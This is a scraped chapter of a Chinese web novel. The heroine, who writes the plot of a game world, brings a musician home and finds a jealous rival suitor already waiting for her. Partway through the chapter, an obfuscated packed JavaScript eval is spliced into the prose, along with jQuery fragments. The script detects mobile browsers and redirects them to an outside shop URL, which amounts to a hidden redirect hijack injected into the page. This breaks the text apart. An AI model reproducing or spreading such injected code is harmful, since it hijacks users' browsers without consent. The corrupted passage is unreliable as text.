16. 雄竞扯头花(一)

作品:《造物主她今天虐男主了吗gb

    暮色渐沉。烟香阁内,菜食热气腾腾,滋滋作响,几盏灯笼花灯倏地亮起。


    郁离枝轻倚坐在在距戏台两桌之遥的茶座上,指尖拢起,轻轻用茶壶盖揩了揩茶水上细微的水泡。


    一室,茶烟渐起。


    几声清雅琴音也随之而起,越过碗筷勺盏细碎之声直至传到郁离枝耳边。


    一柱香之前——


    郁离枝于烟香阁一隅端坐,仍是守株待兔。


    此行目标是,将一人带回郁府。


    这一幕怎么这么熟悉?


    郁离枝呷茶苦笑。没错,她昨日写稿的时候就已然发觉了这种诡异的既视感。


    因此,她在今日剧情使用的一些措辞上,还做了些细微的区分。


    不过这游戏世界的剧情向来是不会完全一比一复刻郁离枝的稿子的。


    就比如刚才。


    郁离枝本已在茶座等了陵镜听好一会,终于见这玉面公子挽帘进了烟香阁,正要直直朝郁离枝走来,却被身侧酒桌上的食客给截胡了。


    “哎,这不是我们当今的尘川第一弦陵公子嘛!”那食客笑得红光满面,见了陵镜听恍若见了什么稀世珍宝,“半月前我曾托人问候过陵公子,今真巧,就见上了!来来来,快来跟我们弟兄几个来一曲!”


    于是乎陵镜听只得登了台。


    无妨,郁离枝习惯了。


    剧情出点小状况也是在情理之中,属于可以接受的范畴。


    于是郁离枝又耐心等到了曲毕,看着台上白衣公子缓步走下。


    “陵公子。”


    “离枝姑娘,久等了。”陵镜听抱琴走至郁离枝所在茶座,玉面上含着歉意的笑,“今日镜听始终记着与离枝姑娘的约定,特地早些赶来。可奈何诸位盛情实在难却,镜听先前也曾答应过这些散客,只得花了些时间献曲,离枝姑娘莫要怪罪。”


    “哪里。离枝今日能坐于台下听陵公子一曲已是殊荣。听那几个官人称呼陵公子''尘川第一弦'',想来是离枝身居闺阁孤陋寡闻了,此又是何种称呼?”


    郁离枝起身边闲聊,边给对面茶座上事先已经准备好的茶杯中注入分量适宜的清茗,行了一礼,恭敬邀坐。


    “不过是江湖上的诨名罢了,离枝姑娘不必在意。”陵镜听挽了衣摆恭敬坐下,面上是一片春风和煦,“委屈离枝姑娘久等一番。是以,离枝姑娘此番找我,是为何事?”


    郁离枝见对方问起,便也不迂回寒暄了,直直开口道:


    “陵公子实是善解人意,那离枝也不卖关子了。郁府上下现今还缺些技艺精湛的乐师,不知陵公子可肯纡尊赏脸,屈才到我这郁府上给我这平淡郁府添点光彩呢?”郁离枝轻刮茶水,言辞上极尽诚意恳切,动作上却也丝毫没有失了世家小姐的上位之感。


    先给他戴个高高的帽子。


    陵镜听听闻,眼底的笑意愈深,却只是柔柔的,像水面上的浮萍一般无一丝攻击性。


    “镜听只是一平平无奇的艺师,实在难堪姑娘厚望。能被离枝姑娘青眼相看,实属在下三生修来的缘分。”


    郁离枝轻抿一口茶,却未再闻对面的声息。


    嗯?没有下文了?不吃这套?


    那就planB。郁离枝请放下茶杯,又换了一套说辞。


    “离枝不瞒陵公子。其实自第一眼见到陵公子,离枝就只觉为何眼熟至此,竟是像曾见过一般。”郁离枝看向对面睫羽微敛的男子,化用了自己为数不多文学修养里《红楼梦》里的词句,展开了怀柔战法。


    听了此言,陵镜听柳叶般的眉尾已经彻底弯成了一个有些柔媚的弧度,仿佛是计谋得逞一般地松了口:“那离枝姑娘都这样说了,镜听再不把自己交给离枝姑娘,可就实属不解风情,拂美人之意了。”


    好好好,郁离枝终于放下心,轻点了点头。


    “既如此,陵公子今夜就跟我回府吧。我已命家里的侍者做好了一桌酒菜,陵公子也正好跟我去试试郁府的菜食合不合口味。”


    “镜听全由离枝姑娘做主。”陵镜听状似娇赧地微微垂首,俨然换了一副顺从模样。


    从烟香阁外的街巷拐出,几转几出,便来到了郁府。


    “三小姐回来了!快快快,膳房那边备好了没有?快去内厅呈上去!”


    “两套食具,两套茶杯!给暮公子的那份是谁送的?送过去了吗?”膳房外的院落内,一侍从焦急喊道。


    此时院门突然进来了一个抱着食盒的束脚垂首的丫鬟,声音纤弱好似蚊虫,战战兢兢道:“我去送了!可是暮公子不在住处……我、我等了一会不见暮公子回来,到哪里也都没有找到,这餐食都快凉了,只得回来了……”


    那院内侍从恨铁不成钢:“小姐特地嘱咐好了的……这暮公子能去了哪里?”


    丫鬟不敢回话,先把食盒送去了膳堂重热。


    “啊,你问暮公子?我刚见了,在内厅院子里坐着呢,小姐回来不是要跟他一起用晚饭?”一端茶侍从在内厅将茶具放下,刚从内厅回了院子,闻言擦了擦汗道。


    “嘶——完了、完了!……”院内侍从闻言双手止不住发抖,登时心乱如麻。


    与此同时,内厅。暮云逸独坐于院落石桌内,手指轻轻摆弄着他那失而复原的古琴琴弦,嘴角噙起一抹笑意。


    今日他仍是没有等到郁离枝归府,实在坐立不安,于是就出来打算散散心。


    不料却在路上听见几个侍女着急忙慌赶回去,口里说着“三小姐要回来了,快去内厅呈饭”之语。


    暮云逸闻言轻眨了几下眼,眼睛微微亮起。


    离枝姑娘终于回来了。


    他迅速折回了住处,抱了琴去了内厅。


    离枝姑娘给了他这么多惊喜,他是不是也要花时间给离枝姑娘准备一点惊喜呢?


    他已经迫不及待看见那双一看见他就会微微弯起,仿若会说话一样的眼了。


    院内又是一阵风卷过,几片刚从树上落下的枯叶在地上轻滑,发出细微的窸窣声。


    “吱呀”一声,门开了。


    暮云逸迎上去。


    门后面是几日不见的离枝姑娘,正眉眼轻弯笑着,可身后跟着的,却是一个同样抱着琴的白衣公子。</p


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217508|197231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >


    暮云逸脸上表情凝固住,微微抬起的手滞在半空中。


    “暮……暮公子?”郁离枝看着眼前的暮云逸,结结实实傻了眼。


    坏菜了,今天的剧情不是只写到带陵镜听回府吗?她特意嘱咐了下人今日不与暮云逸同吃的,他怎会来到这里?


    “……离枝姑娘?”陵镜听本跟在郁离枝身后,本与郁离枝言笑晏晏,未曾看见院内之人。但见郁离枝杵在原地,也似有所感地向对面望去。


    院内的是一位全然另一种风派的公子佳人。


    只是此位公子佳人此时正一瞬不瞬地望向郁离枝,眼睛里有不可置信,还有一丝不甚明显的受伤。


    暮云逸看向郁离枝身后的白衣公子,看着他怀里制式雅致的古琴,和古琴莹润的琴弦。


    手里的琴此时仿佛开始灼痛他的手指。


    陵镜听看向二人脸上失态的神色,已品咂出了一丝微妙的不对劲。


    而在两人中间的郁离枝,短短几瞬已经飞速头脑风暴了几个回合。


    不好,我的剧情!


    她本意是今夜先了解一下陵镜听此人,回去再具体写雄竞扯头花情节。


    但是系统你能不能出来解释一下现在到底是要怎样啊?


    郁离枝不得已运用起其强悍的心理素质安抚自己。魔改就魔改吧,她就知道这破游戏不会乖乖按她的稿子走剧情的。


    “咳、暮公子,几日不见可还好?”郁离枝瞬息之间换上了一副笑颜坦然地先发制人,维持面具不崩力挽狂澜道。


    暮云逸没有应。


    “看来不用离枝特地去请暮公子了。这是离枝请回府的乐师,陵公子,陵镜听。你们二人都擅琴曲,日后有的是时间互相了解。”掌控场面的职业病犯了,郁离枝下意识地开始介绍。


    陵镜听闻言温润一笑,救场似的开口:“暮公子好。”


    暮云逸的手无声垂下,把目光从郁离枝脸上移开,缓缓垂首。


    “陵公子……好。”


    声音喑沉,道不清其中情绪。


    “既然认识了,那么快进去吃饭吧?”郁离枝维持着面部表情,行一礼让行。


    暮云逸足下未动,垂首微微侧过头不去看她。


    陵镜听则是温顺一笑,反是先行一礼示意郁离枝先行。此后也不急着迈步,而是似有若无地瞥了暮云逸一眼。


    郁离枝与陵镜听二人先后进了内厅。


    暮云逸在原地站了几息,胸口翻涌几下,才缓缓抬起脚步,在后面沉默地、像个影子一样地朝灯火通明的内厅走去。


    餐桌之上,两套食具已然摆好。下人慌忙跑进来,为桌上又添了一副碗筷,陆续添上了几个菜。


    三人落座。


    一人居于圆桌正南面,抬手淡然抿茶,唇角带着恰到好处的笑意。


    另一人居于正北面,只低着头,手放于腿上,维持着这姿势动也不动。


    而郁离枝兀自坐在中间,眼观鼻鼻观心,低头看着这满桌热气腾腾的菜肴。


    她忽然觉得,这顿饭,怕是比以往的任何一顿饭都要更难以下咽。